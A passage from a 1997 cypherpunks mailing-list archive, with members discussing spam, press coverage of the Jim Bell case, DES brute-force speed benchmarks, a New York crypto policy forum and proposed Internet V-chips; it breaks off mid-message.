>the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>  Is this feasible?

Yes it is but will not help much. As seen with the subject lines of the
ascii art posted to the list it is quite simple to give a message a
subject that would not reveal that it was spam until the entire message
was downloaded and opened.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0084.myriad.ml.org (Matthew Ghio)
Date: Sat, 24 May 1997 01:17:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <199705231651.JAA27071@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


> A White House press briefing today describes Clinton's
> plan for providing V-chips for parents to control childrens'
> access to the Internet. Technology is being developed for
> that purpose.

Yeah, last I heard, SurfWatch was already selling it, even.  Amazing,
that - the pace of technological advancement.

;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 23 May 1997 22:21:03 +0800
To: cypherpunks@toad.com
Subject: Salvador Allende meets Kevin Kelly
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523095605.03675af8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The Front Lines column on the Marketplace page in Today's WSJ:

http://interactive3.wsj.com/edition/current/articles/FrontLines.htm

May 23, 1997

Entrepreneurs Become Leaders In the New World, Flores Says

I FIRST HEARD the name Fernando Flores...

Before I had the chance to check out the guy, I received an e-mail 
from a former top Air Force general. He mentioned he had been deeply 
influenced by a philosopher, business consultant and onetime political 
prisoner named Fernando Flores. How often do you see those 
descriptions on the same resume?

...

Trained as an engineer, at age 28 he became finance minister in the 
Marxist regime of Salvador Allende in 1970. ....

THEN, IN 1973, ... Mr. Flores spent three years in prison brooding 
over the notion of computers for communication rather than 
computation. ...

When Amnesty International and others won his release in 1976 ...

- From the German philosopher Martin Heidegger he learned ...

"A human society," as he puts it, "operates through the expression of 
requests and promises."

A business, likewise, is a collection of simultaneous conversations, 
and every conversation involves an act of commitment. ...

Working with the computer scientist Terry Winograd, he created a 
product to transform computer workstations from solitary appliances 
into devices for tracking commitments between workers. ... 
"groupware." ...

IF DR. FLORES becomes famous for anything, it may be for a concept of 
entrepreneurialism he has described in a forthcoming book from MIT 
Press called "Disclosing New Worlds," co-authored with the 
philosophers Charles Spinosa and Hubert Dreyfus. In a time of vapid 
values and insipid politics, they say entrepreneurs are becoming the 
leaders of the world. While the typical capitalist merely forecasts 
human needs, they argue, "the entrepreneur is the person who 
determines which needs will seem important."

......



DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 24 May 1997 01:21:43 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <33853CBA.2781@netscape.com>
Message-ID: <Pine.GSO.3.96.970523101021.6292D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 22 May 1997, Tom Weinstein wrote:

> Alan Olsen wrote:
> > 
> > In late April 1984, someone broke into law offices at 1123 S. W.
> > Yamhill St. and poured a liquid on a hallway run that was so
> > odorous it made at least one of the lawyers who smelled it vomit
> > twice.
> 
> What's the statute of limitations on stink bombs?  Surely, it's too
> late to prosecute him for this?

I think they are using it to link him to a similar attack on an IRS office
in Vancouver in the much more recient past.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 24 May 1997 02:06:55 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam Prevention System?
In-Reply-To: <199705231429.JAA30660@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705230854.EAA23450@dhp.com>, on 05/23/97 
>    at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:
> 
> >I was wondering if perhaps a way to minimize the hassle with sitting on
> >one's thumb while waiting for unwanted email to download could be eased
> >by an email program which retreived only headers, allowed you to delete
> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
> >  Is this feasible?
> 
> Yes it is but will not help much. As seen with the subject lines of the
> ascii art posted to the list it is quite simple to give a message a
> subject that would not reveal that it was spam until the entire message
> was downloaded and opened.

Misleading spam subject lines are nothing new.  (Just got one today, in
fact entitled "Aren't you the one who...".) 

The idea (in the spammers small little brain) is to make the subject
something that you would want to open and read.  (Why they think I am
willing to wade through 20+k of marketting drivel is beyond me...) Much of
these ideas are similar to direct mail marketting campaigns, but without
the graphical or ethical content.

The idea behind marketing spam is that people are more willing to buy your
product if you spit in their face first or attack it to rocks and throw it
through their windows.

Now all that needs to happen if for these people to get a connection to
the clue server and figure out that such actions are not helping them any.

[Clue #1 for Spammers:  If you have to hide the source of your message,
maybe there is something seriously wrong with how you are delivering it.]
  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 02:18:25 +0800
To: cypherpunks@cyberpass.net
Subject: reporting standards and Jim Bell
Message-ID: <199705230942.KAA01227@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I noticed an example of the sort of reporting standards which the news
media is sinking to in reporting on Jim Bell's case... observe these
two quotes:

The Oregonian, May 20, 1997, Metro Section P-1:
: Daly described his friend of 15 years as a "bit of an odd unit" but never
: dangerous and never serious about attacking the 9-1-1 systems or the
: Bull Run watershed.
:
: "I'd rat him out in a heartbeat for that," Daly said.

So... Daly considered Jim to be merely discussing technical
feasibility of attacks, something we do every day on cpunks.  Daly
says if he had ever considered Jim was thinking of carrying out any of
the hypothetical attacks, that he would have reported him instantly.

OK... now this other quote from another news story (forwarded by
Dimitri to the list from a post in or.politics quoting some newspaper).

: And during the interview Daly appeared to crack and turn state's 
: evidence when Daly offered to "rat (Bell) out in a heartbeat."

Sounds like a quote of the same comment by Daly.

Sounds like the newspaper(s) in question are having fun, creatively
misquoting, and fabricating to work up a story.  Not knowing the truth
behind any of this stuff, it makes one wonder how much truth there is
in the other details of the story as reported by the gutter press.

I noticed someone called "the Oregonian" the local
fishwrap... presumably implying it is one of those sensationalist
news-fiction newspapers, which are continually being sued for liable
for printing fictitious garbage about media personalities.  Perhaps
similar to the UK "the Sun", etc. (a combination of titilating
fictional "gossip" and nude pin ups, populist news for the masses).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 23:28:36 +0800
To: Carl Ellison <gbroiles@c2.net>
Subject: Re: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: <v0302097aafab5e51099f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:21 am -0400 on 5/23/97, Carl Ellison wrote:


> With the congress so woefully uninformed that they confuse password
> protection with cryptography and naive enough to believe that 1.9E6
> possibilities represents a serious roadblock to entry, it looks like we have
> a major education effort to perform.

For 35 years we've sown innumeracy, and now it's time to reap the harvest,
I'm afraid.

Heinlein once half-jokingly proposed that all voters have to prove they can
solve a quadratic before they can vote.

That joke's not so funny anymore.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 24 May 1997 02:31:01 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199705231756.KAA21831@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  It's naieve to assume that Bell was even the target.  World
gov't/military machines learned their PR lessons in vietnam.
As a part of a greater plan, it makes sense.  

  If the stinkbomb allegations are fact, then they have enough to
convict him on something minor like assault, possibly with
intent or with a weapon.  That would help, but wouldn't be 
required.  They most definitely have posts with his name on
them and people who would testify to his being of the 
libertatian/radical bent.  Neither of those will likely hold up
in court, but that's ok.  

  The US is still reeling from OK City.  Tried as it might, the US gov't
couldn't find an outside enemy to pin it to.  Whether
Timmy did it or not is again irrelevant, they needed to find 
someone to blame and did.  Now that it's the defenses turn, it 
would be useful to remind people of the scar--get someone for
"conspiring" to do it again.  Bring up that hatred again--can't
hurt the prosecutions case.  

  Markoff's and Littman's versions of the Mitnick saga are 
indeed most interesting.  Shimomura's machine gets broken into and there
was _something_ on there that _someone_ wanted back pretty badly.  Does it
matter if he did it?  _Someone_ did, and
that alone is usable.  BTW, we get to wash the egg off the FBI.

  Sommi the "cyberstalker" goes unfound for months.  Come on,
we all know that no one could be that stupid.

  Ultimately, these add up in the mind of Joe public online.
He's scared of hackers and organizations that promote
libertarianism.  "We can protect you from them if you let us."
At this point the collective conscious doesn't care about
losing what it percieves as a tiny amount of freedom to keep
itself and it's offspring safe.  

  And that's the game.  The more a gov't oppresses, the more
paranoid it needs to be.  Becoming a police state is simple, 
becoming a welcomed police state takes careful planning.


Prior planning prevents piss poor performance
 -- sparky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 02:57:30 +0800
To: cypherpunks@cyberpass.net
Subject: Bell Jars and Jarheads
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <v03102804afab9274435b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:43 PM +0200 5/23/97, Anonymous wrote:
>>>I guess the only *real* solution is to get rid of the thugs.
>>
>>Possibly the real solution is not to do stupid things.
>
>
>The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
>citizen.  I don't think most of us would consider stinkbombing office
>buildings normal behavior.  But that was 13 years ago, and compared to
>what the feds did to him, Jim Bell comes out looking like an angel.  All
>things are relative.

The stink bomb charge that would stick would be the March 17th event, if
this is proven to be Bell's doing.

I would've thought this would be "malicious mischief," at most. People
who've done far, far, far worse are left unprosecuted in every major
jurisdiction in this country. The  meat thrown to the media--the usual AP
stuff, mixed in with "radical libertarian" descriptions--is just to make
the case more media-interesting.


>PS  For the benefit of our non-technical readers, a bell jar is a glass
>dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
>one. :)

Huh? Bell jars, to be pedantic, don't have to involve vacuums, obviously.
And a stink bomb could certain fill even a vacuum jar. (Maybe the stink
would not be smelled, a la Bishop Berkeley, though...)

In any case, more of an allusion. Perhaps even to Plath. Or to the Marines,
aka Jarheads. Or to Bell's Theorem. Or to....

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 24 May 1997 00:21:13 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: <Pine.SUN.3.91.970523120948.11899D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:22:42 +0000
From: Alan C. Ramsbottom <acr@als.co.uk>
To: ntsecurity@iss.net
Cc: stoutb@pios.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed

> Consensus is that Alpha CPUs can run crypto operations 10x faster than
> Intel-based systems, but to say it's based on the 64-bit-ness of the CPU
> alone is false.

Is everyone aware of the RSA DES challenge? In essence the 
task is to brute-force DES. You can find more information at:

   http://www.eskimo.com/~joelm/des.html

DESCHALL is one of real-world programs written to take up the 
challenge and reports the figures:

 DEC AlphaStation 600 5/333 ... 2.944M keys per second
 Dual Pentium 200 MHz ......... 2.003M keys per second
 SGI Onyx2 (194 MHz R10000) ... 1.943M keys per second
 HAL 385 (161 MHz Sparc64-II) . 1.660M keys per second
 UMAX S900 250MHz 604e ........ 1.368M keys per second
 AlphaStation 255/233 ......... 1.297M keys per second
 PowerMac 8500 200MHz 604e .... 1.095M keys per second
 PowerBook 3400 240MHz 603e ... 1.065M keys per second
 Sun Ultra2 Dual CPU .......... 1.060M keys per second
 PowerMac 8500 180MHz 604e .....  990K keys per second
 PentiumPro 166MHz .............  901K keys per second
 HP 9000/780C 180Mhz ...........  870K keys per second
 PentiumPro 180MHz .............  850K keys per second
 [snip]

I do not know how well this program is optimised for specific 
platforms, if at all. However I can confirm that other programs 
written for the challenge give similar results on Intel 
Platforms.

Regards,

--Alan--
acr@als.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 02:46:58 +0800
To: Alan <alano@teleport.com>
Subject: Re: Spam Prevention System?
In-Reply-To: <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>
Message-ID: <199705231820.NAA01390@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.96.970523101839.6292E-100000@linda.teleport.com>, on
05/23/97 
   at 11:27 AM, Alan <alano@teleport.com> said:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <199705230854.EAA23450@dhp.com>, on 05/23/97 
>>    at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:
>> 
>> >I was wondering if perhaps a way to minimize the hassle with sitting on
>> >one's thumb while waiting for unwanted email to download could be eased
>> >by an email program which retreived only headers, allowed you to delete
>> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>> >  Is this feasible?
>> 
>> Yes it is but will not help much. As seen with the subject lines of the
>> ascii art posted to the list it is quite simple to give a message a
>> subject that would not reveal that it was spam until the entire message
>> was downloaded and opened.

>Misleading spam subject lines are nothing new.  (Just got one today, in
>fact entitled "Aren't you the one who...".) 

>The idea (in the spammers small little brain) is to make the subject
>something that you would want to open and read.  (Why they think I am
>willing to wade through 20+k of marketting drivel is beyond me...) Much
>of these ideas are similar to direct mail marketting campaigns, but
>without the graphical or ethical content.

>The idea behind marketing spam is that people are more willing to buy
>your product if you spit in their face first or attack it to rocks and
>throw it through their windows.

>Now all that needs to happen if for these people to get a connection to
>the clue server and figure out that such actions are not helping them
>any.

>[Clue #1 for Spammers:  If you have to hide the source of your message,
>maybe there is something seriously wrong with how you are delivering it.]
>  


Well the saddest thing of all is that this type of mass marketing works.
:(

It truly is a sorry commentary of the sheeple of this country. If they
didn't make money off this and increase their sales the spam (and all
other blind mass marketing) would disappear.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 08:22:30 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam complaints 14 times worse than Spam.
In-Reply-To: <199705231530.IAA24640@adnetsol.adnetsol.com>
Message-ID: <199705240012.TAA05938@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705231530.IAA24640@adnetsol.adnetsol.com>, on 05/23/97 
   at 09:30 AM, "Ross Wright" <rwright@adnetsol.com> said:

>This was from:

>Tasty Bits From The Technology Front

> Your Host:  Keith Dawson

>    This issue: <URL:http://www.tbtf.com/archive/05-22-97.html>

>..Mailing-list spammers..

>    Email spam is the favorite gripe of most Netizens, excepting the
>    spammers. Congress is considering legislation [25] to limit the
>    practice of sending unwanted commercial email in bulk. Not everyone
>    thinks this is a good idea. See [26] for a thread from an ongoing
>    debate on Declan McCullagh's fight-censorship mailing list. George
>    Matyjewicz <mosaic1@ix.netcom.com> did a modest experiment on a
>    week's worth of his email -- he is on 56 mailing lists and gets
>    around 200 messages a day -- to gauge how widespread the problem
>    actually is. Matyjewicz posted these results:

>                        week     avg/day

>      Total messages    1,354    193.4
>      Spam messages        10      1.4     < 1 %
>      Spam complaints     189     27.0      14 %

>    Mailing-list owners share information on the addresses from which
>    commercial spam messages originate. Recently Alexander Verbraeck
>    <A.Verbraeck@duticai.twi.tudelft.nl> posted a particularly compre-
>    hensive list of purported spammers. I have taken the liberty of
>    preserving a snapshot on the TBTF archive [27], sorted both by email
>    address and by "virulence" -- the total number of messages sent by
>    each spammer over a given time period to two of Verbraeck's lists.
>    Thanks to Tom Parmenter <tompar@world.std.com> for the tip.

>    [25] <URL:http://www.news.com/News/Item/0%2C4%2C10875%2C00.html>
>    [26] <URL:http://www.tbtf.com/resource/to-ban-spam.html>
>    [27] <URL:http://www.tbtf.com/resource/spammers.html>

Hi Ross,

With SPAM we have two seperate issues SPAM that shows up in public forums
newsgroups & mailling lists and SPAM that is directly mailed to
individules mail boxes.

SPAM that is posted to public forums is somthing that is hard to do
anything about without draconian measures that I doubt that few would want
to see.

SPAM that is sent directly to users mailboexs is somthing that can be
addressed without extreme measures. Either the Spamfords et al will have
to find a civilized approach to their advertisment or they will all be
gone in a couple of years. The Compuserver vs Cyberpromo lawsuit is only
the first of many. I would imagine that we will see more of these lawsuits
now that Compuserver has won theirs. I am currently receiving 5-10 SPAM
messages per day. Take a medium size ISP with 10,000 customers and you are
looking at 50-100k messages a day tying up resources that are not payed
for by the SPAMers. There is no reason why an ISP should have to support
someone elses advertisment.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 24 May 1997 04:57:27 +0800
To: cypherpunks@cyberpass.net
Subject: AP=MAFIA ?
Message-ID: <199705232040.NAA29081@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 Italy remembers murdered anti-Mafia judge

   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
   whose ground-breaking Mafia investigations led to his murder five
   years ago.
   
   On Thursday, prosecutors in Sicily requested life jail terms for more
   than 30 bosses charged with the murder.
   
   Judge Giovanni Falcone, his wife Francesca Morvillo and three
   bodyguards were blown up on May 23, 1992, on a motorway outside the
   Sicilian capital Palermo.
   
   "Institutions and citizens have a duty not to forget," the speaker of
   the Chamber of Deputies (lower house), Luciano Violante, said in an
   anniversary message to the families of the victims.
   
   He called on Italians "to avoid the rhetoric of commemorations (and
   to) work with determination in the fight against the Mafia to defend
   those values of civility and legality" for which Falcone worked.
   
   Crimefighters including FBI director Louis Freeh, in Palermo for a
   memorial service, drove in convoy along the motorway. They stopped to
   pay tribute at the point where explosives packed under the road were
   detonated by remote control as Falcone's car passed.
   
   "We are not just honouring the memory of a single man but of many
   policemen, prosecutors and investigators which he represents," Freeh
   said.
   
   Prosecutors in the central Sicilian city of Caltanissetta requested
   life sentences on Thursday for 32 Mafiosi, including Cosa Nostra's
   jailed boss of bosses Salvatore Riina and some of his key lieutenants,
   who are charged with masterminding the murder.
   
   For Giovanni Brusca, the most senior member of the Mob to be captured
   in the past year, prosecutors sought a 30-year jail term. They cited
   mitigating circumstances since Brusca has admitted using the remote
   control device that triggered the blast.
   
   The trial was halted for five minutes on Friday as a mark of respect.
   The defence is expected to sum up late next month. A verdict is
   expected late this year.
   
   On Friday night thousands of Sicilians gathered for a pop concert held
   in Falcone's memory on an undeveloped tract of land in the city's
   outskirts near a villa where Riina spent part of his 23 years at large
   before his arrest in 1993.
   
   Falcone, a Sicilian, revolutionised Italy's war on the Mafia by
   tracking financial records that revealed the extent of the Mob's
   criminal activities and resources, and by persuading captured Mafioso
   to turn state's evidence.
   
   Testimony from "Men of Honour," who are sworn on pain of death to a
   code of silence or "omerta" when they are initiated into the Mafia,
   gave unprecedented insight into the feared society and led to the
   arrest of Riina and other bosses.
   
   The murder of Falcone, and two months later of his friend and
   colleague Paolo Borsellino in a car-bomb attack, horrified Italy and
   galvanised efforts to crack the Mafia and end the reign of terror
   imposed by Riina and his bloody Corleone clan.
   
   Palermo's chief prosecutor Giancarlo Caselli cautioned on Friday that
   Italy now risked slipping into complacency.
   
   "The Mafia seems to have become a second division problem, or even a
   non-problem, because people think...that police successes in the last
   few years are leading to a definitive solution of the problem.
   
   "That is not so," Caselli said in a radio interview. "The Mafia is
   still an extremely robust and highly dangerous beast."
     _________________________________________________________________
                                      
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    Techserver | Health & Science | Entertainment | Weather | Baseball |
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    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?

http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 02:10:35 +0800
To: cypherpunks@toad.com
Subject: NYC Crypto Forum
Message-ID: <1.5.4.32.19970523174025.0070778c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian taped the Cryptography Forum at the
Association of the Bar of the City of New York
last evening and will share once its transcribed.

In the meantime:

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:

Matt Blaze, Co-author of Risks of Key Recovery paper.
(short-notice invitee)

Lynn McNulty (ex-NIST now RSA) filling in for Jim Bidzos
Scott Charney, Computer Crime Unit, Department of Justice
Kenneth W. Dam, Professor, University of Chicago Law School
Dorothy E. Denning
David J. Farber, University of Pennsylvania
Marc Rotenberg, EPIC

-----

Nesson asked the audience (about a hundred), "How many use 
encryption?" Over half raised hands. "Wow!" he said, "If I asked 
that of a law class at Harvard, maybe two or three hands 
would have been raised."

Nesson then posed to the principal question: "Is the government's
policy on cryptography creating a crisis?"

Dam, Denning and Charney said no. Other panelists said yes.

The audience by show of hands was about evenly split.

There was intense discussion among the panelists but no change 
in position.

Some highlights:

David Kahn, in the audience, reaffirmed his support for
key escrow, stating that it would not change the current
legal provisions for electronically snooping, and why ask 
for more privacy than is now authorized.

Blaze summarized the KR risks paper and pointed out the
enormous expense of designing, implementing, operating
and securing a global key recovery system -- which, as he
ironically smiled, could make cryptographers and crypto-corps 
rich. That such a system might make security weaker by 
offering fewer choice targets to attack -- the key repositories.

Blaze reminded that encryption will become pervasive in
all electronic systems, not just communications. That it must
be robust and untamperable or more and more crucial systems 
will be vulnerable to attack. And, the more complicated the
security provisions the more likely they will fail.

Farber stated that time was being wasted on KR debate while
the nation's infrastructure remained immensely vulnerable to
electronic attack. He said that with six students he could shut
the system down in "a few days, with, say, spoof E-mail to key
administrators." That ITEF is working on a next-generation
system to prevent that, but meanwhile there is great risk.

McNulty reaffirmed industry's position that other countries will
develop robust encryption if the US does not allow export.

Charney responded by pointing out that the administration seeks 
global commitment to key escrow among governments, and asserts 
they will comply for the same reasons the USG wants it. He said, 
for example, that countries may allow development of strong 
crypto but, like the US, will not allow export. He cited Japan's 
refusal to allow NTT's 128-bit export, and said Russia will surely
not allow the export of the Sun/Elvis product. Same for France, 
Germany, and so forth.

There was audience derision when Charney noted that the US must
do as the Russians and Chinese and French do to control crypto.

Interestingly, Charney did not cite The Wassenaar Arrangement, 
although Dam pointed out how difficult it was to reach agreement 
on the COCOM predecessor and enforce compliance with it.

Nesson summarized Charney's position by saying, "do you mean
that key escrow would do no more than help you catch criminals
too stupid to use unescrowed crypto?" Charney nodded, and said
that "nearly all all criminals we catch by electronic surveillance
talk openly about being surveilled but do nothing about to
avoid it."

Nesson reiterated: "Do you mean that you want a system to catch
stupid criminals while the nation's infrastructure is left
vulnerable?" Charney, "That's not the right way to put it."

Denning gave examples of her recent survey of law enforcement
for examples of crypto use to hinder investigations.

Finally, Dam noted that encryption policy was a different task
than implementing encryption systems. That the detailed understanding
of those who follow the encryption debate is not shared by the
public nor by most officials. That agreement upon policy will
require greater education for those who could not care less about
the complications and subtleties being debated.

An auditor queried: There seems to be agreement that encryption 
will work best when it is totally transparent to users, and the 
sooner that is devised the better. Why not just get on with it,?

Blaze shook his head at this cluelessness, howled at the ceiling,
sprouted fur, bared teeth, leaped Dave Farber, went for Charney's
jugular, clawed Denning. Kahn and the suited audience ran screaming 
into the safe streets of Manhattan, while shaggy coders roared,
"Kill, kill, kill the infrastructure-fuckers."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Sat, 24 May 1997 05:31:56 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <199705232059.NAA13536@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> And some government spook is going to break into a church's computer
> to find out if they are secret terrorists because they oppose this
> or that government policy.

This is an interesting point on which very little serious debate is
taking place:

    Is it EVER okay for spooks to break into a church's computer to
    find out if they are secret terrorists?

I'm not sure the answer is clearly one way or another, and I am
willing to bet that the tone of the answers will mostly be emotional
appeals to some idealistic standard or pessimistic nightmares.

A meta question is whether the answer to a question like this one
above can be answer strictly through a "for all practical purposes it
would never affect me so it does not matter" answer.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 05:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <v03102800afabb4cdc0fe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:29 PM -0400 5/22/97, John Young wrote:
>A White House press briefing today describes Clinton's
>plan for providing V-chips for parents to control childrens'
>access to the Internet. Technology is being developed for
>that purpose.
...
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about
>technology than all of us put together, that there is in fact technology
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.
>
>                Q Clinton has talked before about giving parents ways to
>protect their children on the Internet, but has he ever before suggested
>the idea of a V-chip for the Internet?
>
>                MS. LEWIS:  Not that we know of, but we know -- as is
>clear, I think, from his wording, he is aware that the technology has
>been developing.

There are three main dimensions to this "V-chip for the Internet," just as
there are for the original V-chip for televisions:

1. Technology. Viability of the hardware, including cost, speed, and
ability to be integrated into planned products. (In the case of
televisions, satellite dish receivers, VCRs, etc., the problems are
immense.)

2. Ratings and Standards. Just who will "rate" Internet sites, and is it at
all feasible given the world connectivity we see?

3. Economics. How long will it take before even 5% of the nation's
computers have this V-chip installed? How much will it cost? Who will
bother with it?

(There are lots of other issues to be addressed. I'm unpersuaded that a
hardware version is any more secure than a software version...so why go to
all the expense to have a _hardware_ version of what NetNanny and
LittleBrother and DaddyKnowsBest already do in software? With televisions,
the need for a hardware chip is related to the lack of any CPU and so on...)

Could hardware-based chips be coming? At a recent meeting, John Markoff
asked me if I'd heard anything about Intel's rumored contract to buy 20
million (yes, 20 _million_) keyboards with crypto features built in. I had
not heard this rumor.

(Since then, though, there have been rumblings that Intel is preparing to
offer such keyboards, possibly with "user authentication" features (don't
know what kind). This might, speculating here, be linked with  the Intel-HP
